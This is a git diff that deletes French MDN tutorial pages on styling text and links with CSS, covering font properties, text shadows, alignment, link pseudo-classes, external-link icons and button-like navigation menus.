-  font-size: 1.4rem;
-  color: red;
-  font-family: Helvetica, Arial, sans-serif;
-}
- -

{{ EmbedLiveSample('Un_simple_exemple_de_dimensionnement', '100%', 220) }}

- -

Style de fonte, graisse, transformation et décoration de texte

- -

CSS fournit quatre propriétés communes pour modifier le poids et l'emphase visuelles du texte :

- -
    -
  • {{cssxref("font-style")}} : utilisé pour appliquer ou enlever le style italique. Les valeurs possibles sont les suivantes (vous ne l'utiliserez que rarement, sauf si vous souhaitez désactiver le style italique pour une raison quelconque) : -
      -
    • normal : fige le texte en police normale (suppression du style italique existant).
      • -
    • italic : met le texte en  version italique de la police si elle est disponible ; si elle n'existe pas, le style italique sera émulé avec l'option oblique à la place.
      • -
    • oblique : force le texte à utiliser une version simulée de fonte italique, créée en inclinant la version normale.
      • -
    -
    • -
  • {{cssxref("font-weight")}} : définit la graisse du texte. La propriété peut avoir de nombreuses valeurs s'il y a de nombreuses variantes de polices disponibles (comme -light, -normal, -bold, -extrabold, -black, etc.), mais en réalité, vous les utiliserez rarement en dehors de normal et bold (gras): -
      -
    • normal, bold : graisse de la police, normale ou bold.
      • -
    • lighter, bolder : définit la graisse de l'élément courant de sorte qu'il soit un cran moins gras ou plus gras que son parent.
      • -
    • 100–900 : valeurs numériques du taux de graisse ; elles permettent un dosage plus fin que les mots-clés ci-dessus, si nécessaire.
      • -
    -
    • -
  • {{cssxref("text-transform")}} : Vous permet de définir les transformations de votre police. Les valeurs comprennent : -
      -
    • none : aucune transformation.
      • -
    • uppercase : met tout le texte en majuscules.
      • -
    • lowercase : met tout le texte en minuscules.
      • -
    • capitalize : transforme tous les mots en mettant leur première lettre en majuscules.
      • -
    • full-width : force l'écriture de tous les glyphes dans un carré de largeur fixe, similaire à une police à espacement fixe, permettant leur alignement, par ex. caractères latins avec des glyphes de langue asiatique (comme le chinois, le japonais, le coréen.)
      • -
    -
    • -
  • {{cssxref("text-decoration")}} : active ou désactive les décorations de texte sur les polices (vous les utiliserez principalement pour désactiver le soulignement par défaut sur les liens lors de leur création). Les valeurs disponibles sont : -
      -
    • none: désactive les décorations du texte déjà présentes.
      • -
    • underline: souligne le texte.
      • -
    • overline: trace une ligne au-dessus du texte.
      • -
    • line-through: barre le texte.
      • -
    - Vous devez noter que {{cssxref("text-decoration")}} peut accepter plusieurs valeurs à la fois, si vous voulez en ajouter plusieurs simultanément, par exemple text-decoration: underline overline. Notez aussi que {{cssxref("text-decoration")}} est la propriété raccourcie pour {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} et {{cssxref("text-decoration-color")}}. Vous pouvez utiliser des combinaisons de ces valeurs de propriété pour créer des effets intéressants, par exemple text-decoration: line-through red wavy.
    • -
- -

Regardons l'ajout de quelques-unes de ces propriétés à notre exemple.

- -

Notre nouveau résultat ressemble à :

- - - -
html {
-  font-size: 10px;
-}
-
-h1 {
-  font-size: 2.6rem;
-  text-transform: capitalize;
-}
-
-h1 + p {
-  font-weight: bold;
-}
-
-p {
-  font-size: 1.4rem;
-  color: red;
-  font-family: Helvetica, Arial, sans-serif;
-}
- -

{{ EmbedLiveSample('Style_de_fonte_graisse_transformation_et_décoration_de_texte', '100%', 220) }}

- -

Ombres du texte

- -

Vous pouvez ombrer votre texte avec la propriété {{cssxref("text-shadow")}}. Elle prend 4 valeurs, comme vous pouvez le voir dans l'exemple ci-dessous :

- -
text-shadow: 4px 4px 5px red;
- -

Les 4 propriétés sont les suivantes :

- -
    -
  1. Le décalage horizontal de l'ombre par rapport au texte original — cette grandeur acepte la plupart des unités de longueur et de taille des CSS disponibles, mais vous utiliserez en règle générale le px. Cette valeur doit être précisée.
    2. -
  2. Le décalage vertical de l'ombre par rapport au texte original — cette grandeur se comporte à la base comme la précédente, sauf que l'ombre est portée vers le haut ou vers le bas, et non vers la gauche ou la droite. Cette valeur doit être précisée.
    3. -
  3. Le rayon de floutage — plus cette valeur est élevée, plus l'ombre est étalée largement. Si cette valeur n'est pas précisée, la valeur par défaut est 0, ce qui signifie pas de flou. Elle accepte toutes les unités de longueur et de taille des CSS.
    4. -
  4. La couleur de l'ombre, qui peut prendre toute unité de couleur CSS. Si elle n'est pas définie, c'est la couleur noire par défaut.
    5. -
- -
-

Note : Les valeurs positives de décalage déplacent l'ombre à droite et en bas, mais vous pouvez aussi utiliser des valeurs négatives pour obtenir une ombre à gauche et en haut, par exemple -1px -1px.

-
- -

Ombres multiples

- -

Vous pouvez appliquer plusieurs ombres à un même texte, en mettant plusieurs valeurs d'ombrage séparées par une virgule, par exemple :

- -
text-shadow: -1px -1px 1px #aaa,
-             0px 4px 1px rgba(0,0,0,0.5),
-             4px 4px 5px rgba(0,0,0,0.7),
-             0px 0px 7px rgba(0,0,0,0.4);
- -

Si nous l'appliquons à l'élément {{htmlelement ("h1")}} de notre exemple Tommy le Chat, nous nous obtenons :

- - - -

{{ EmbedLiveSample('Ombres_du_texte', '100%', 220) }}

- -
-

Note : Vous pouvez voir plus d'exemples intéressants de text-shadow dans l'article de Sitepoint Moonlighting with CSS text-shadow (Clair de lune avec text-shadow).

-
- -

Mise en page du texte

- -

Après les propriétés de base des polices, examinons maintenant celles permettant de modifier la disposition des textes.

- -

Alignement du texte

- -

La propriété {{cssxref("text-align")}} s'utilise pour contrôler la disposition du texte dans la zone de contenu. Les valeurs acceptées sont les suivantes. Elles fonctionnent à peu près de la même manière que dans un traitement de texte :

- -
    -
  • left: le texte est aligné à gauche.
    • -
  • right: le texte est aligné à droite.
    • -
  • center: le texte est centré.
    • -
  • justify: étale le texte, en faisant varier les espaces entre les mots afin de donner la même largeur à toutes les lignes du texte. Vous devez l'utiliser avec discernement — il peut sembler parfait, surtout lorsqu'il est appliqué à un paragraphe avec beaucoup de longs mots. Si vous voulez l'utiliser, vous devriez aussi penser à utiliser quelque chose d'autre, comme {{cssxref ("hyphens")}}, pour couper certains des mots les plus longs entre les lignes.
    • -
- -

Si nous appliquons text-align: center; à l'élément {{htmlelement("h1")}} de notre exemple, nous aurons :

- - - -

{{ EmbedLiveSample('Alignement_du_texte', '100%', 220) }}

- -

Hauteur de ligne

- -

La propriété {{cssxref ("line-height")}} définit la hauteur de chaque ligne de texte — elle peut prendre la plupart des unités de longueur et de taille, mais elle peut également prendre une valeur sans unité, qui agit comme un multiplicateur et est considérée habituellement comme la meilleure option — la valeur de {{cssxref ("font-size")}} est multipliée par ce facteur pour obtenir la valeur de line-height. Le corps de texte semble généralement plus agréable et est plus facile à lire lorsque les lignes sont espacées ; la hauteur de ligne recommandée est d'environ 1,5-2 (double interligne). Donc, pour définir une hauteur de ligne de texte égale à 1,5 fois la hauteur de la police, vous utiliserez ceci :

- -
line-height: 1.5;
- -

En appliquant cette règle à l'élément {{htmlelement("p")}}  de l'exemple, nous obtenons :

- - - -

{{ EmbedLiveSample('Hauteur_de_ligne', '100%', 250) }}

- -

Espacement entre les lettres et les mots

- -

Les propriétés {{cssxref ("letter-spacing")}} et {{cssxref ("word-spacing")}} permettent de définir l'espacement entre les lettres et les mots de votre texte. Vous ne les utiliserez pas très souvent, mais vous pourriez les utiliser pour obtenir une certaine apparence ou pour améliorer la lisibilité d'une police particulièrement dense. Ils peuvent prendre la plupart des unités de longueur et de taille.

- -

Si nous appliquons les paramètres suivants à la première ligne des éléments {{htmlelement("p")}} dans notre exemple :

- -
p::first-line {
-  letter-spacing: 2px;
-  word-spacing: 4px;
-}
- -

Nous obtiendrons :

- - - -

{{ EmbedLiveSample('Espacement_entre_les_lettres_et_les_mots', '100%', 250) }}

- -

D'autres propriétés intéressantes

- -

Les propriétés ci-dessus donnent un début d'idée de la manière de composer un style pour un texte de page web, mais beaucoup d'autres propriétés peuvent être utilisées. Nous n'avons juste évoqué que les plus importantes. Une fois que vous serez un familier de l'utilisation de ce qui précède, explorez donc ce qui suit :

- -

Styles de police de caractères :

- -
    -
  • {{cssxref("font-variant")}} : bascule entre petites majuscules et police normale, et réciproquement.
    • -
  • {{cssxref("font-kerning")}} : active et désactive les options de crénage des polices.
    • -
  • {{cssxref("font-feature-settings")}} : active et désactive les fonctionnalités des polices de caractères OpenType.
    • -
  • {{cssxref("font-variant-alternates")}} : contrôle l'utilisation de glyphes alternatifs pour une apparence de police donnée.
    • -
  • {{cssxref("font-variant-caps")}}: contrôle l'utilisation de glyphes alternatifs en capitales.
    • -
  • {{cssxref("font-variant-east-asian")}} : contrôle l'utilisation de glyphes alternatifs pour les écritures des pays de l'est de l'Asie, comme le japonais ou le chinois.
    • -
  • {{cssxref("font-variant-ligatures")}} : contrôle les ligatures et formes contextuelles utilisées dans le texte.
    • -
  • {{cssxref("font-variant-numeric")}} : contrôle l'utilisation de glyphes alternatifs pour les nombres, les fractions et les marqueurs ordinaux.
    • -
  • {{cssxref("font-variant-position")}} : contrôle l'utilisation de glyphes alternatifs de plus petites tailles positionnés en exposant ou en indice.
    • -
  • {{cssxref("font-size-adjust")}} : ajuste la taille visuelle de la police indépendamment de sa taille réelle.
    • -
  • {{cssxref("font-stretch")}} : bascule entre les versions étirées alternatives possibles d'une police donnée.
    • -
  • {{cssxref("text-underline-position")}} : définit la position du soulignement avec la valeur underline pour la propriété text-decoration-line.
    • -
  • {{cssxref("text-rendering")}} : essaye d'effectuer une optimisation du rendu du texte.
    • -
- -

styles de mise en page du texte

- -
    -
  • {{cssxref("text-indent")}} : indique le nombre d'espaces à ménager horizontalement avant le début de la première ligne de texte du contenu.
    • -
  • {{cssxref("text-overflow")}} : définit la façon de signaler aux utilisateurs le contenu en débordement (et donc non affiché).
    • -
  • {{cssxref("white-space")}} : définit comment les espaces blancs et les sauts de ligne associés dans l'élément sont gérés.
    • -
  • {{cssxref("word-break")}} : spécifie s'il y a césure dans les mots.
    • -
  • {{cssxref("direction")}} : définit la direction du texte (cela dépend de la langue et généralement, il vaut mieux laisser HTML la gérer car elle est liée au contenu du texte.)
    • -
  • {{cssxref("hyphens")}} : active et désactive la césure pour les langues prises en charge.
    • -
  • {{cssxref("line-break")}} : détend ou renforce la rupture de ligne pour les langues asiatiques.
    • -
  • {{cssxref("text-align-last")}} : définit comment la dernière ligne d'un bloc ou d'une ligne, juste avant un saut de ligne forcé, est alignée.
    • -
  • {{cssxref("text-orientation")}} : définit l'orientation du texte dans une ligne.
    • -
  • {{cssxref("word-wrap")}} : indique si le navigateur peut replier une ligne en conservant l'ordre des mots pour empêcher un débordement.
    • -
  • {{cssxref("writing-mode")}} : définit si les lignes de texte sont disposées horizontalement ou verticalement et la direction des lignes suivantes.
    • -
- -

Abréviations pour propriétés de fontes

- -

De nombreuses propriétés des fontes peuvent être déclarées de manière abrégée avec {{cssxref("font")}}. Elles sont écrites dans l'ordre suivant : {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}} et {{cssxref("font-family")}}.

- -

Parmi toutes ces propriétés, seules font-size et font-family sont requises lorsque la propriété abrégée font est utilisée.

- -

Une barre oblique doit être placée entre les propriétés {{cssxref("font-size")}} et {{cssxref("line-height")}}.

- -

Un exemple complet ressemblerait à ceci :

- -
font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;
- -

Apprentissage actif : jouer avec les styles du texte

- -

Dans cette session d'apprentissage actif, nous n'avons pas d'exercice spécifique à vous proposer : nous voulons juste vous permettre de jouer avec certaines propriétés de police ou mise en page de texte et de voir ce que vous pouvez produire ! Vous pouvez le faire en utilisant des fichiers HTML / CSS hors ligne ou en entrant votre code dans l'exemple modifiable en direct ci-dessous.

- -

Si vous faites une erreur, vous pouvez toujours Réinitialiser avec le bouton de même nom.

- - - -

{{ EmbedLiveSample('Playable_code', 700, 800) }}

- -

Résumé

- -

Nous espérons que vous avez aimé jouer avec le texte dans cet article ! Le prochain article vous donnera tout ce que vous devez savoir sur le style des listes HTML.

- -

{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}

- -

Dans ce module

- -

 

- - - -

 

- -

 

diff --git a/files/fr/learn/css/styling_text/mise_en_forme_des_liens/index.html b/files/fr/learn/css/styling_text/mise_en_forme_des_liens/index.html deleted file mode 100644 index f216d54186..0000000000 --- a/files/fr/learn/css/styling_text/mise_en_forme_des_liens/index.html +++ /dev/null @@ -1,448 +0,0 @@ ---- -title: Mise en forme des liens -slug: Learn/CSS/Styling_text/Mise_en_forme_des_liens -tags: - - Article - - Beginner - - CSS - - Focus - - Guide - - Learn - - Links - - Pseudo-class - - hover - - hyperlinks - - menus - - tabs -translation_of: Learn/CSS/Styling_text/Styling_links ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}
- -

Lors de la mise en forme de liens, il est important de comprendre comment utiliser les pseudo-classes pour mettre en forme efficacement les états des liens, et comment créer des liens pour les utiliser dans diverses fonctionnalités d'interface courantes, telles que les menus de navigation et les onglets. Nous allons examiner tous ces sujets dans cet article.

- - - - - - - - - - - - -
Prérequis :notions de base en informatique, notions de base en HTML (étudier l'Introduction au HTML), notions de base en CSS (étudier l'Introduction à CSS), initiation à la mise en forme de texte.
Objectif :apprendre à mettre en forme les états des liens, et comment utiliser efficacement les liens dans les fonctionnalités courantes de l'IU, comme les menus de navigation.
- -

Un coup d'œil à quelques liens

- -

Nous avons regardé comment les liens sont implémentés dans votre HTML selon les meilleures pratiques dans Création d'hyperliens. Dans cet article, nous allons développer ces connaissances en vous montrant les meilleures pratiques pour la mise en forme de liens.

- -

État des liens

- -

La première chose à comprendre est le concept d'états des liens : les différents états dans lesquels les liens peuvent exister, qui peuvent être mis en forme en utilisant différentes pseudo-classes :

- -
    -
  • link (non visité) : l'état par défaut dans lequel se trouve un lien, lorsqu'il n'est dans aucun autre état ; cela peut être spécifiquement mis en forme en utilisant la pseudo classe {{cssxref(":link")}} ;
    • -
  • visited : un lien qui a déjà été visité (qui existe dans l'historique du navigateur), mis en forme en utilisant la pseudo-classe {{cssxref(":visited")}} ;
    • -
  • hover : un lien qui est survolé par le pointeur de la souris de l'utilisateur, mis en forme en utilisant la pseudo classe {{cssxref(":hover")}} ;
    • -
  • focus : un lien qui a reçu la focalisation (par exemple, quand l'utilisateur du clavier s'est déplacé en utilisant la touche Tab ou similaire, ou qui a reçu la focalisation par programmation par utilisation de {{domxref("HTMLElement.focus()")}}) ; ceci est mis en forme en utilisant la pseudo-classe {{cssxref(":focus")}} ;
    • -
  • active : un lien en cours d'activation (par exemple, lorsqu'on clique dessus), mis en forme en utilisant la pseudo classe {{cssxref (":active")}}.
    • -
- -

Styles par défaut

- -

L'exemple suivant illustre le comportement d'un lien par défaut (le CSS simplement agrandit et centre le texte pour le rendre plus visible).

- -
<p><a href="#">Un simple lien</a></p>
-
- -
p {
-  font-size: 2rem;
-  text-align: center;
-}
- -

{{ EmbedLiveSample('Styles_par_défaut', '100%', 120) }}

- -
-

Note : tous les liens dans les exemples de cette page sont de faux liens : un # (hash, ou signe dièse) est mis à la place de l'URL réelle. En effet, si des liens réels étaient inclus, un simple clic sur ceux-ci cassererait les exemples (vous vous retrouveriez avec une erreur, ou une page chargée dans l'exemple intégré de laquelle vous ne pourriez pas revenir) ; # ne redirige que vers la page actuelle.

-
- -

Vous remarquerez quelques petites choses en explorant les styles par défaut :

- -
    -
  • les liens sont soulignés ;
    • -
  • les liens non visités sont bleus ;
    • -
  • les liens visités sont en violet ;
    • -
  • le survol d'un lien fait se changer en petite icône de main le pointeur de la souris ;
    • -
  • les liens ayant reçus la focalisation ont un contour autour d'eux : vous devriez pouvoir vous focaliser sur les liens de cette page avec le clavier en appuyant sur la touche Tab (sur Mac, il se peut que vous ayez besoin d'activer l'option Accès clavier complet : Toutes les commandes en appuyant sur Ctrl + F7 pour que cela fonctionne) ;
    • -
  • les liens actifs sont rouges (essayez de maintenir le bouton de la souris enfoncé sur le lien lorsque vous cliquez dessus).
    • -
- -

De façon assez intéressante, ces styles par défaut sont pratiquement les mêmes que ce qu'ils étaient aux premiers temps des navigateurs, au milieu des années 1990. C'est parce que les utilisateurs connaissent - et s'attendent à - ce comportement ; si les liens étaient mis en forme différemment, cela créerait beaucoup de confusion. Cela ne signifie pas que vous ne deviez pas du tout mettre en forme les liens, mais simplement que vous ne devriez pas vous éloigner trop du comportement attendu. Vous devriez au moins :

- -
    -
  • utiliser le soulignement pour les liens, mais pas pour d'autres choses ; si vous ne voulez pas souligner les liens, au moins les mettre en évidence d'une autre manière ;
    • -
  • les faire réagir d'une manière ou d'une autre lorsqu'ils sont survolés ou lorsqu'ils ont reçu la focalisation, et d'une manière légèrement différente lorsqu'ils sont activés.
    • -
- -

Les styles par défaut peuvent être désactivés/modifiés en utilisant les propriétés CSS suivantes :

- -
    -
  • {{cssxref ("color")}} pour la couleur du texte ;
    • -
  • {{cssxref ("cursor")}} pour le style du pointeur de la souris - vous ne devriez pas le désactiver, à moins d'avoir une très bonne raison ;
    • -
  • {{cssxref ("outline")}} pour le contour du texte (un contour est similaire à une bordure, la seule différence étant que la bordure occupe de l'espace dans la boîte et non un contour, elle se trouve juste au-dessus du Contexte) ; le contour est une aide utile à l'accessibilité, alors réfléchissez bien avant de la désactiver ; vous devriez au moins dupliquer aussi les styles affectés à l'état link hover sur l'état de focalisation.
    • -
- -
-

Note : vous n'êtes pas limité aux propriétés ci-dessus pour mettre en forme vos liens ; vous êtes libre d'utiliser les propriétés que vous aimez. Essayez seulement de ne pas devenir trop fou !

-
- -

Mise en forme de quelques liens

- -

Maintenant que nous avons examiné les états par défaut en détail, regardons un ensemble typique de mises en forme de liens.

- -

Pour commencer, nous écrirons notre jeu de règles vides :

- -
a {
-
-}
-
-
-a:link {
-
-}
-
-a:visited {
-
-}
-
-a:focus {
-
-}
-
-a:hover {
-
-}
-
-a:active {
-
-}
- -

Cet ordre est important parce que les styles de liens se construisent les uns par dessus les autres ; par exemple, les styles de la première règle s'appliqueront à toutes les suivantes, et lorsqu'un lien est activé, il est également survolé. Si vous les mettez dans le mauvais ordre, les choses ne fonctionneront pas correctement. Pour se souvenir de l'ordre, vous pouvez essayer d'utiliser un moyen mnémotechnique comme La Vie Fuit la HAine (LoVe Fears HAte).

- -

Maintenant, ajoutons quelques informations supplémentaires pour mettre en forme cela correctement :

- -
body {
-  width: 300px;
-  margin: 0 auto;
-  font-size: 1.2rem;
-  font-family: sans-serif;
-}
-
-p {
-  line-height: 1.4;
-}
-
-a {
-  outline: none;
-  text-decoration: none;
-  padding: 2px 1px 0;
-}
-
-a:link {
-  color: #265301;
-}
-
-a:visited {
-  color: #437A16;
-}
-
-a:focus {
-  border-bottom: 1px solid;
-  background: #BAE498;
-}
-
-a:hover {
-  border-bottom: 1px solid;
-  background: #CDFEAA;
-}
-
-a:active {
-  background: #265301;
-  color: #CDFEAA;
-}
- -

Nous allons aussi fournir un extrait d'HTML auquel appliquer le CSS :

- -
<p>Il y a plusieurs navigateurs disponibles, tels que <a href="#">Mozilla
-Firefox</a>, <a href="#">Google Chrome</a>, et
-<a href="#">Microsoft Edge</a>.</p>
- -

En mettant les deux ensemble, nous obtenons ce résultat :

- -

{{EmbedLiveSample('Mise_en_forme_de_quelques_liens', '100%', 150)}}

- -

Alors qu'avons-nous fait ici ? Cela semble certainement différent de la mise en forme par défaut, mais cela donne toujours une expérience suffisamment familière pour que les utilisateurs sachent ce qui se passe :

- -
    -
  • les deux premières règles ne sont pas très intéressantes pour cette discussion ;
    • -
  • la troisième règle utilise le sélecteur a pour se débarasser du soulignement de texte par défaut et du contour de focalisation (qui varie d'un navigateur à l'autre), et elle ajoute une petite quantité de remplissage à chaque lien ; tout ceci deviendra clair plus tard ;
    • -
  • ensuite, nous utilisons les sélecteurs a:link et a:visited pour définir deux variations de couleur sur les liens non visités et visités, afin qu'ils soient distincts ;
    • -
  • les deux règles suivantes utilisent a:focus et a:hover pour faire que les liens centrés et survolés aient des couleurs d'arrière-plan différentes, plus un soulignement afin que le lien se démarque encore davantage ; deux points à noter ici : -
      -
    • le soulignement a été créé en utilisant {{cssxref("border-bottom")}}, pas {{cssxref("text-decoration")}} ; certaines personnes préfèrent cela parce que le premier a de meilleures options de mise en forme que le second, et qu'il est tracé un peu plus bas, de sorte qu'il ne coupe pas les jambages du mot souligné (par exemple, les jambes du g et du y) ;
      • -
    • la valeur {{cssxref("border-bottom")}} a été définie comme 1px solid, sans couleur indiquée ; cela fait que la bordure adopte la même couleur que le texte de l'élément, ce qui est utile dans des cas comme celui-ci, où le texte a une couleur différente dans chaque cas ;
      • -
    -
    • -
  • enfin, a:active est utilisé pour donner aux liens un schéma de couleurs inversé pendant qu'ils sont activés, afin de faire comprendre que quelque chose d'important est en train de se passer !
    • -
- -

Apprentissage actif : mettez en forme vos propres liens

- -

Dans cette session d'apprentissage actif, nous aimerions que vous utilisiez notre ensemble de règles vide, et que vous ajoutiez vos propres déclarations pour que les liens soient vraiment cools. Utilisez votre imagination, soyez fou. Nous sommes sûrs que vous pourrez trouver quelque chose d'encore plus cool et tout aussi fonctionnel que notre exemple ci-dessus.

- -

Si vous faites une erreur, vous pouvez toujours l'annuler en utilisant le bouton Réinitialiser. Si vous êtes vraiment bloqué, appuyez sur le bouton Afficher la solution pour insérer l'exemple que nous avons montré ci-dessus.

- - - -

{{ EmbedLiveSample('Playable_code', 700, 800) }}

- -

Inclusion d'icônes dans des liens

- -

Une pratique courante consiste à inclure des icônes dans des liens pour fournir plus d'un indicateur concernant le type de contenu vers lequel le lien pointe. Regardons un exemple très simple qui ajoute une icône à des liens externes (les liens qui mènent à d'autres sites). Une telle icône ressemble généralement à une petite flèche pointant hors d'une boîte ; pour cet exemple, nous allons utiliser cet excellent exemple de icons8.com.

- -

Regardons un peu d'HTML et de CSS qui nous donneront l'effet que nous voulons. Tout d'abord, un peu d'HTML simple à mettre en forme :

- -
<p>Pour davantage d'information sur la météo, visitez notre <a href="http://#">page météo</a>,
-jetez un œil sur <a href="http://#">météo sur Wikipedia</a>, ou regardez la <a href="http://#">météo sur Science Extrême </a>.</p>
- -

Ensuite, le CSS:

- -
body {
-  width: 300px;
-  margin: 0 auto;
-  font-family: sans-serif;
-}
-
-p {
-  line-height: 1.4;
-}
-
-a {
-  outline: none;
-  text-decoration: none;
-  padding: 2px 1px 0;
-}
-
-a:link {
-  color: blue;
-}
-
-a:visited {
-  color: purple;
-}
-
-a:focus, a:hover {
-  border-bottom: 1px solid;
-}
-
-a:active {
-  color: red;
-}
-
-a[href*="http"] {
-  background: url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0;
-  background-size: 16px 16px;
-  padding-right: 19px;
-}
- -

{{ EmbedLiveSample("Inclusion_d'icônes_dans_des_liens", '100%', 150) }}

- -

Alors, qu'est-ce qui se passe ici ? Nous allons sauter le gros du CSS, du fait que c'est seulement la même information que celle que vous avez déjà regardée. La dernière règle est cependant intéressante : ici, nous insérons une image d'arrière-plan personnalisée sur les liens externes d'une manière similaire à celle dont nous avons traité les puces personnalisées sur les éléments de liste dans le dernier article ; cette fois, nous utilisons le raccourci {{cssxref("background")}} au lieu des propriétés individuelles. Nous définissons le chemin vers l'image que nous voulons insérer, nous spécifions no-repeat de façon à obtenir l'insertion d'une seule une copie, puis nous indiquons la position comme étant 100% de la distance à droite du contenu du texte, et 0 pixels à partir du haut.

- -

Nous utilisons également {{cssxref("background-size")}} pour indiquer à quelle taille nous voulons afficher l'image d'arrière-plan - il est utile d'avoir une icône plus grande et de la redimensionner comme nécessaire dans un but de conception web adaptative. Cela ne fonctionne cependant qu'avec IE 9 et ultérieur, donc si vous avez besoin de prendre en charge ces navigateurs plus anciens, il vous suffira de redimensionner l'image et de l'insérer telle quelle.

- -

Enfin, nous avons mis un peu de {{cssxref("padding-right")}} sur les liens pour faire de la place afin que l'image d'arrière-plan se place à l'intérieur, de sorte que nous ne la faisions chevaucher le texte.

- -

Un dernier mot : comment avons-nous sélectionné uniquement les liens externes ? Eh bien, si vous écrivez vos liens HTML correctement, vous ne devriez utiliser des URL absolues que pour les liens externes : il est plus efficace d'utiliser des liens relatifs pour la redirection vers d'autres parties de votre propre site. Le texte "http" ne devrait donc apparaître que dans les liens externes, et nous pouvons le sélectionner avec un sélecteur d'attribut : a[href*="http] sélectionne les éléments {{htmlelement("a")}}, mais seulement s'ils ont un attribut {{htmlattrxref ("href","a")}} ayant une valeur contenant "http" quelque part à l'intérieur.

- -

Alors voilà, essayez de revoir la section d'apprentissage actif ci-dessus et d'explorer cette nouvelle technique !

- -
-

Note : ne vous inquiétez pas si vous n'êtes pas encore familier avec les arrières-plans et le responsive web design ; ceux-ci sont expliqués par ailleurs.

-
- -

Mise en forme de liens comme des boutons

- -

Les outils que vous avez explorés jusqu'à présent dans cet article peuvent également être utilisés d'autres façons. Par exemple, des états tels que hover peuvent être utilisés pour mettre en forme de nombreux éléments différents, pas seulement des liens : vous pouvez définir l'état de survol des paragraphes, des éléments de liste ou d'autres choses.

- -

En outre, les liens sont très couramment mis en forme de façon à ressembler et à se comporter comme des boutons dans certaines circonstances : un menu de navigation de site Web est généralement balisé comme une liste contenant des liens, et cela peut facilement être mis en forme pour ressembler à un ensemble de boutons de contrôle ou d'onglets qui fournissent à l'utilisateur un accès à d'autres parties du site. Voyons comment.

- -

D'abord, un peu d'HTML :

- -
<ul>
-  <li><a href="#">Accueil</a></li><li><a href="#">Pizza</a></li><li><a href="#">Musique</a></li><li><a href="#">Wombats</a></li><li><a href="#">Finland<e/a></li>
-</ul>
- -

Et maintenant, notre CSS :

- -
body,html {
-  margin: 0;
-  font-family: sans-serif;
-}
-
-ul {
-  padding: 0;
-  width: 100%;
-}
-
-li {
-  display: inline;
-}
-
-a {
-  outline: none;
-  text-decoration: none;
-  display: inline-block;
-  width: 19.5%;
-  margin-right: 0.625%;
-  text-align: center;
-  line-height: 3;
-  color: black;
-}
-
-li:last-child a {
-  margin-right: 0;
-}
-
-a:link, a:visited, a:focus {
-  background: yellow;
-}
-
-a:hover {
-  background: orange;
-}
-
-a:active {
-  background: red;
-  color: white;
-}
- -

Cela nous donne le résultat suivant :

- -

{{ EmbedLiveSample('Mise_en_forme_de_liens_comme_des_boutons', '100%', 100) }}

- -

Expliquons ce qui se passe ici, en nous concentrant sur les parties les plus intéressantes :

- -
    -
  • notre deuxième règle supprime le {{cssxref("padding")}} par défaut de l'élément {{htmlelement ("ul")}}, et définit sa largeur de façon à couvrir 100% du conteneur externe (le {{htmlelement("body")}} dans ce cas) ;
    • -
  • par défaut, les éléments {{htmlelement("li")}} se présentent normalement sous forme de blocs (voir les types de boîtes CSS pour rappel), ce qui signifie qu'ils vont se trouver sur leurs propres lignes ; dans ce cas, nous créons une liste horizontale de liens ; pour cela, dans la troisième règle, nous mettons la propriété {{cssxref("display")}} à inline, ce qui fait que les éléments de la liste se trouvent tous sur la même ligne : ils se comportent maintenant comme des éléments inline ;
    • -
  • la quatrième règle, qui met en forme l'élément {{htmlelement("a")}}, est la plus compliquée ici ; passons-la en revue étape par étape : -
      -
    • comme dans les exemples précédents, nous commençons par désactiver la valeur par défaut {{cssxref("text-decoration")}} et {{cssxref("outline")}} : nous ne voulons pas que ceux-ci gâchent notre présentation ;
      • -
    • ensuite, nous mettons le {{cssxref ("display")}} à inline-block : les éléments {{htmlelement ("a")}} sont inline par défaut et, bien que nous ne voulions pas qu'ils s'étalent sur leurs propres lignes comme une valeur de block le ferait, nous voulons néanmoins être en mesure de les dimensionner : inline-block nous permet de le réaliser ;
      • -
    • maintenant, passons au dimensionnement ; nous voulons remplir toute la largeur de l'{{htmlelement("ul")}}, laisser une petite marge entre chaque bouton (mais sans espace sur le bord droit), et nous avons 5 boutons pour accueillir tout cela, qui doit avoir la même taille ; pour ce faire, nous définissons la {{cssxref ("width")}} à 19,5%, et la {{cssxref ("margin-right")}} à 0,625% ; vous remarquerez que toute cette largeur s'élève à 100,625%, ce qui ferait que le dernier bouton déborde sur l'<ul> et passe à la ligne suivante ; cependant, nous le ramenons à 100%, en utilisant la règle suivante, qui sélectionne seulement le dernier <a> dans la liste, et en supprime la marge ; terminé !
      • -
    • les trois dernières déclarations sont assez simples et ne sont principalement présentes qu'à des fins esthétiques ; nous centrons le texte à l'intérieur de chaque lien, nous définissons {{cssxref("line-height")}} à 3 pour donner un peu de hauteur aux boutons (ce qui a aussi l'avantage de centrer le texte verticalement) et nous définissons la couleur du texte à noir.
      • -
    -
    • -
- -
-

Note : vous avez peut-être remarqué que les éléments de la liste dans le HTML sont tous placés sur la même ligne ; cela est dû au fait que les espaces/sauts de ligne entre les éléments inline block créent des espaces sur la page, tout comme des espaces entre les mots, et que de tels espaces casseraient la disposition de notre menu de navigation horizontale ; nous avons donc supprimé les espaces ; vous pouvez trouver plus d'informations (et de solutions) à propos de ce problème sur Fighting the space between inline block elements.

-
- -

Résumé

- -

Nous espérons que cet article vous a fourni tout ce que vous aviez besoin de savoir sur les liens - pour l'instant ! L'article final de notre module de Mise en forme de texte détaille comment utiliser des polices personnalisées (ou polices web, comme elles sont mieux connues) sur vos sites web.

- -

{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}

- -

Dans ce module

